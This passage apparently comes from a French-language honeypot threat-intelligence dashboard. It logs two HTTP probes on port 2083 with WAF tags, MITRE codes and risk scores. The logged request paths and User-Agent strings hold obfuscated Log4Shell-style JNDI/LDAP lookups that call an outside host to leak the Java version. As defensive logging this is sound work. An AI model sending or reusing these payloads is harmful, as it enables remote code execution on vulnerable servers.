"request_line": "GET \/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}${hg80:9stl:-\/}${8e5g:ja:it:-\/}${oer:-P}${z:-A}${ldc7:ix:-l}${0ky:2xt:asj4:-0}${2zmw:g79:tl:-c}${y:3q:--}${${nk1:-s}${n:v:-y}${yn:a918:q:-s}${k:rt87:mb:-:}${nm6:-j}${l:sqno:-a}${42c:j8:j:-v}${t:-a}${6:-.}${9n:-v}${lry8:-e}${gadl:-r}${vw:3:-s}${3:5ua:-i}${k:0l:-o}${di1:lb3o:je:-n}}${d:ps:wv:-.}${xmyt:j:-e}${9rvh:0ux:-a}${p4:i3:8w:-5}${w:kt:kh9:-5}${809:-5}${63r:6o9q:u3jn:-0}${lv3:wd:",
"payload_snippet": "GET \/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}$",
"evidence": {
"method": "GET",
"path": "\/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}${hg80:9stl:-\/}${8e5g:ja:it:-\/}${oer:-P}${z:-A}${ldc7:ix:-l}${0ky:2xt:asj4:-0}${2zmw:g79:tl:-c}${y:3q:--}${${nk1:-s}${n:v:-y}${yn:a918:q:-s}${k:rt87:mb:-:}${nm6:-j}${l:sqno:-a}${42c:j8:j:-v}${t:-a}${6:-.}${9n:-v}${lry8:-e}${gadl:-r}${vw:3:-s}${3:5ua:-i}${k:0l:-o}${di1:lb3o:je:-n}}${d:ps:wv:-.}${xmyt:j:-e}${9rvh:0ux:-a}${p4:i3:8w:-5}${w:kt:kh9:-5}${809:-5}${63r:6o9q:u3jn:-0}${lv3:wd:-6}$",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950380:rce-14",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3"
],
"request_line": "GET \/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}${hg80:9stl:-\/}${8e5g:ja:it:-\/}${oer:-P}${z:-A}${ldc7:ix:-l}${0ky:2xt:asj4:-0}${2zmw:g79:tl:-c}${y:3q:--}${${nk1:-s}${n:v:-y}${yn:a918:q:-s}${k:rt87:mb:-:}${nm6:-j}${l:sqno:-a}${42c:j8:j:-v}${t:-a}${6:-.}${9n:-v}${lry8:-e}${gadl:-r}${vw:3:-s}${3:5ua:-i}${k:0l:-o}${di1:lb3o:je:-n}}${d:ps:wv:-.}${xmyt:j:-e}${9rvh:0ux:-a}${p4:i3:8w:-5}${w:kt:kh9:-5}${809:-5}${63r:6o9q:u3jn:-0}${lv3:wd:",
"request_sample": "GET \/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}${hg80:9stl:-\/}${8e5g:ja:it:-\/}${oer:-P}${z:-A}${ldc7:ix:-l}${0ky:2xt:asj4:-0}${2zmw:g79:tl:-c}${y:3q:--}${${nk1:-s}${n:v:-y}${yn",
"payload_snippet": "GET \/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}$",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "496b19cb085411539dfcec5fa1b2649047182240",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}${hg80:9stl:-\/}${8e5g:ja:it:-\/}${oer\u2026",
"request_line": "GET \/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}${hg80:9stl:-\/}${8e5g:ja:it:-\/}${oer:-P}${z:-A}${ldc7:ix:-l}${0ky:2xt:as\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}$",
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb\u2026",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 58\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 58,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 58,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}${hg80:9stl:-\/}${8e5g:ja:it:-\/}${oer\u2026",
"request_line": "GET \/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}${hg80:9stl:-\/}${8e5g:ja:it:-\/}${oer:-P}${z:-A}${ldc7:ix:-l}${0ky:2xt:as\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb\u2026",
"evidence_snippet": "GET \/${${s6q7:2c:3e1m:-j}${kx:-n}${u3:j14:b:-d}${wb5i:v:-i}${u:z:-:}${6dr:bmf1:-l}${0:-d}${d5p:zwm:-a}${q7oj:pde:-p}${v:mn9:-:}$",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"node-http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 12,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950380:rce-14",
"950468:nosqli-3",
"950470:nosqli-3",
"http_header_x-forwarded-for",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:41:07 UTC
TCP
2083 · HTTP
deser php attack
deser php attack · via HTTP:2083 · (tentative d'exploit) · → /${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${…
Élevée
Élevé · 67
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET /${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u… UA ${${lzgn:fe4:3:-j}${9386:4w8:0c:-n}${ai90:a04:-d}${ye:-i}${vql:…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${534:kox:-:}${tvb:oi:-/}${o:-/}${su6:v3t:-P}${9:-A}${0sk:25:-l}${q8:0:-0}${4b6:b8:-c}${2pv:x87e:--}${${ajm:wfa:-s}${g0k:-y}${5k:bg51:kdjz:-s}${l:-:}${3:18h:-j}${jy:tqe6:-a}${9pqa:scqg:rpng:-v}${8qlt:-a}${4mkc:-.}${7so:ganw:wase:-v}${rcty:-e}${i0kq:-r}${fdo:6:7d:-s}${g9:2il:n:-i}${kh:ef:a:-o}${f:-n}}${os8:-.}${0f:li1:-e}${u:yp:253d:-a}${kg:-5}${tev:68:ypm:-5}${1d7:-5}${8:960:ud:-0}${lfkh:
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
2083
Chemin / cible
/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${534:kox:-:}${tvb:oi:-/}${o:-/}${su6:…
Pourquoi cette classification : Type « deser_php_attack » (signaux protocolaires) · confiance 95%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 67
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0817
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET PHP serialize O:
CRS 933135
Ligne de requête
GET /${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${534:kox:-:}${tvb:oi:-/}${o:-/}${su6:v3t:-P}${9:-A}${0sk:25:-l}${q8:0:-0}${4b6:b8:-c}${2pv:x87e:--}${${ajm:wfa:-s}${g0k:-y}${5k:bg51:kdjz:-s}${l:-:}${3:18h:-j}${jy:tqe6:-a}${9pqa:scqg:rpng:-v}${8qlt:-a}${4mkc:-.}${7so:ganw:wase:-v}${rcty:-e}${i0kq:-r}${fdo:6:7d:-s}${g9:2il:n:-i}${kh:ef:a:-o}${f:-n}}${os8:-.}${0f:li1:-e}${u:yp:253d:-a}${kg:-5}${tev:68:ypm:-5}${1d7:-5}${8:960:ud:-0}${l
User-Agent
${${lzgn:fe4:3:-j}${9386:4w8:0c:-n}${ai90:a04:-d}${ye:-i}${vql:-:}${e1:h:-l}${98:-d}${xmei:5:-a}${i91:-p}${ohn:1w:-:}${79:h5q:mkp6:-/}${d9:2:wgu:-/}${06p:-U}${2:-A}${z:c:48:-l}${js:-0}${28c:-c}${z:1h…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${5
Requête brute (extrait)
GET /${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${534:kox:-:}${tvb:oi:-/}${o:-/}${su6:v3t:-P}${9:-A}${0sk:25:-l}${q8:0:-0}${4b6:b8:-c}${2pv:x87e:--}${${ajm:wfa:-s}${g0k:-y}${5k:bg
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${rp:-g}${2d:n:q1dn:-o}${sqf:4oi:-o}${56a:-g}}",
"http_ua_hash": "9a31dfc9f6288aaafef130ea16137a9c00d67f0b",
"http_host_hash": "ea42ecbc54c9c495a92c7dd11f2463e9f5b9ede0",
"http_target_hash": "f659013c6e175250adcf4f1192f868f6aec19621",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 2796,
"payload_entropy": 4.759416197250425,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.1,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 67,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "c97826cc9836d3e4a53ecc9f25ee299b599b87fe",
"event_fingerprint": "6ce089cdab61ec310bca5bfca6e89644645ca4c1",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 86,
"precision_signals": [
"pat-0817"
],
"kb_rule_ids": [
"pat-0817"
],
"matched_patterns": [
"pat-0817",
"pat-0162"
],
"matched_pattern_names": [
"ET PHP serialize O:",
"CRS 933135"
],
"pattern_ids": [
"pat-0817",
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5145653a45ee402c280cf92123e9da19",
"payload_hash": "a93872f3c2ec387db06b69a23133acf5",
"path_pattern_hash": "4b0175d2002657c0b9f4714aef1df9a3"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 67
},
"method": "GET",
"path": "\/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${534:kox:-:}${tvb:oi:-\/}${o:-\/}${su6:v3t:-P}${9:-A}${0sk:25:-l}${q8:0:-0}${4b6:b8:-c}${2pv:x87e:--}${${ajm:wfa:-s}${g0k:-y}${5k:bg51:kdjz:-s}${l:-:}${3:18h:-j}${jy:tqe6:-a}${9pqa:scqg:rpng:-v}${8qlt:-a}${4mkc:-.}${7so:ganw:wase:-v}${rcty:-e}${i0kq:-r}${fdo:6:7d:-s}${g9:2il:n:-i}${kh:ef:a:-o}${f:-n}}${os8:-.}${0f:li1:-e}${u:yp:253d:-a}${kg:-5}${tev:68:ypm:-5}${1d7:-5}${8:960:ud:-0}${lfkh:",
"user_agent": "${${lzgn:fe4:3:-j}${9386:4w8:0c:-n}${ai90:a04:-d}${ye:-i}${vql:-:}${e1:h:-l}${98:-d}${xmei:5:-a}${i91:-p}${ohn:1w:-:}${79:h5q:mkp6:-\/}${d9:2:wgu:-\/}${06p:-U}${2:-A}${z:c:48:-l}${js:-0}${28c:-c}${z:1hv9:b54r:--}${${g:yq:jse:-s}${c:-y}${lg4:c:p:-s}${vdpy:8x\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${534:kox:-:}${tvb:oi:-\/}${o:-\/}${su6:v3t:-P}${9:-A}${0sk:25:-l}${q8:0:-0}${4b6:b8:-c}${2pv:x87e:--}${${ajm:wfa:-s}${g0k:-y}${5k:bg51:kdjz:-s}${l:-:}${3:18h:-j}${jy:tqe6:-a}${9pqa:scqg:rpng:-v}${8qlt:-a}${4mkc:-.}${7so:ganw:wase:-v}${rcty:-e}${i0kq:-r}${fdo:6:7d:-s}${g9:2il:n:-i}${kh:ef:a:-o}${f:-n}}${os8:-.}${0f:li1:-e}${u:yp:253d:-a}${kg:-5}${tev:68:ypm:-5}${1d7:-5}${8:960:ud:-0}${l",
"payload_snippet": "GET \/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${5",
"evidence": {
"method": "GET",
"path": "\/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${534:kox:-:}${tvb:oi:-\/}${o:-\/}${su6:v3t:-P}${9:-A}${0sk:25:-l}${q8:0:-0}${4b6:b8:-c}${2pv:x87e:--}${${ajm:wfa:-s}${g0k:-y}${5k:bg51:kdjz:-s}${l:-:}${3:18h:-j}${jy:tqe6:-a}${9pqa:scqg:rpng:-v}${8qlt:-a}${4mkc:-.}${7so:ganw:wase:-v}${rcty:-e}${i0kq:-r}${fdo:6:7d:-s}${g9:2il:n:-i}${kh:ef:a:-o}${f:-n}}${os8:-.}${0f:li1:-e}${u:yp:253d:-a}${kg:-5}${tev:68:ypm:-5}${1d7:-5}${8:960:ud:-0}${lfkh:",
"user_agent": "${${lzgn:fe4:3:-j}${9386:4w8:0c:-n}${ai90:a04:-d}${ye:-i}${vql:-:}${e1:h:-l}${98:-d}${xmei:5:-a}${i91:-p}${ohn:1w:-:}${79:h5q:mkp6:-\/}${d9:2:wgu:-\/}${06p:-U}${2:-A}${z:c:48:-l}${js:-0}${28c:-c}${z:1hv9:b54r:--}${${g:yq:jse:-s}${c:-y}${lg4:c:p:-s}${vdpy:8x\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${534:kox:-:}${tvb:oi:-\/}${o:-\/}${su6:v3t:-P}${9:-A}${0sk:25:-l}${q8:0:-0}${4b6:b8:-c}${2pv:x87e:--}${${ajm:wfa:-s}${g0k:-y}${5k:bg51:kdjz:-s}${l:-:}${3:18h:-j}${jy:tqe6:-a}${9pqa:scqg:rpng:-v}${8qlt:-a}${4mkc:-.}${7so:ganw:wase:-v}${rcty:-e}${i0kq:-r}${fdo:6:7d:-s}${g9:2il:n:-i}${kh:ef:a:-o}${f:-n}}${os8:-.}${0f:li1:-e}${u:yp:253d:-a}${kg:-5}${tev:68:ypm:-5}${1d7:-5}${8:960:ud:-0}${l",
"request_sample": "GET \/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${534:kox:-:}${tvb:oi:-\/}${o:-\/}${su6:v3t:-P}${9:-A}${0sk:25:-l}${q8:0:-0}${4b6:b8:-c}${2pv:x87e:--}${${ajm:wfa:-s}${g0k:-y}${5k:bg",
"payload_snippet": "GET \/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${5",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7dbca2e7afc6fe739bb1900213b235ec2880a822",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${534:kox:-:}${tvb:oi:-\/}${o:-\/}${su6:\u2026",
"request_line": "GET \/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${534:kox:-:}${tvb:oi:-\/}${o:-\/}${su6:v3t:-P}${9:-A}${0sk:25:-l}${q8:0:-0}\u2026",
"http_user_agent": "${${lzgn:fe4:3:-j}${9386:4w8:0c:-n}${ai90:a04:-d}${ye:-i}${vql:-:}${e1:h:-l}${98:-d}${xmei:5:-a}${i91:-p}${ohn:1w:-:}${\u2026",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${5",
"attack_vector": "deser php attack \u00b7 via HTTP:2083 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${\u2026",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 67\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 67,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0817"
],
"tags_summary_labels_fr": [
"pat-0817"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${534:kox:-:}${tvb:oi:-\/}${o:-\/}${su6:\u2026",
"request_line": "GET \/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${534:kox:-:}${tvb:oi:-\/}${o:-\/}${su6:v3t:-P}${9:-A}${0sk:25:-l}${q8:0:-0}\u2026",
"http_user_agent": "${${lzgn:fe4:3:-j}${9386:4w8:0c:-n}${ai90:a04:-d}${ye:-i}${vql:-:}${e1:h:-l}${98:-d}${xmei:5:-a}${i91:-p}${ohn:1w:-:}${\u2026",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "deser php attack \u00b7 via HTTP:2083 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${\u2026",
"evidence_snippet": "GET \/${${60u:lt:-j}${z:-n}${2:hxul:3:-d}${f:9:-i}${i158:q589:v9w3:-:}${70j:y0k:k4:-l}${li6:iqa:-d}${e:u2d:-a}${eo:hc:aefn:-p}${5",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
